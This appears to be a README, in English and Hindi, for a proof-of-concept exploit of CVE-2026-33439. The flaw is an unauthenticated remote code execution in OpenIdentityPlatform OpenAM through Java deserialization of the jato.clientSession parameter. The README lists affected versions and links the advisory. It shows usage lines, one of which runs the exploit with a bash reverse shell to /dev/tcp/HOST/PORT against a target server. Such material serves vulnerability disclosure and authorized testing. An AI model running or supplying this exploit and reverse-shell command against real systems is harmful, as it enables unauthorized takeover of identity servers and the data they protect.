rh33t/cve-2026-33439-pocProof of concept for CVE-2026-33439, an unauthenticated RCE in OpenAM via Java deserialization
OpenIdentityPlatform OpenAM में jato.clientSession पैरामीटर के असुरक्षित Java डीसेरिएलाइज़ेशन के माध्यम से प्री-ऑथ RCE। प्रभावित <= 16.0.5, 16.0.6 में ठीक किया गया।
सलाह: https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj
time ./cve-2026-33439.py --url https://TARGET/openam --command 'sleep 3' # takes about 3 seconds
./cve-2026-33439.py --url https://TARGET/openam --command 'bash -i >& /dev/tcp/HOST/PORT 0>&1'
आउटपुट ब्लाइंड है। कमांड समाप्त होने तक अनुरोध ब्लॉक रहता है, इसलिए टाइमिंग निष्पादन की पुष्टि करती है (--command 'sleep 5' में लगभग 5 सेकंड लगते हैं)।
केवल अधिकृत सुरक्षा परीक्षण के लिए।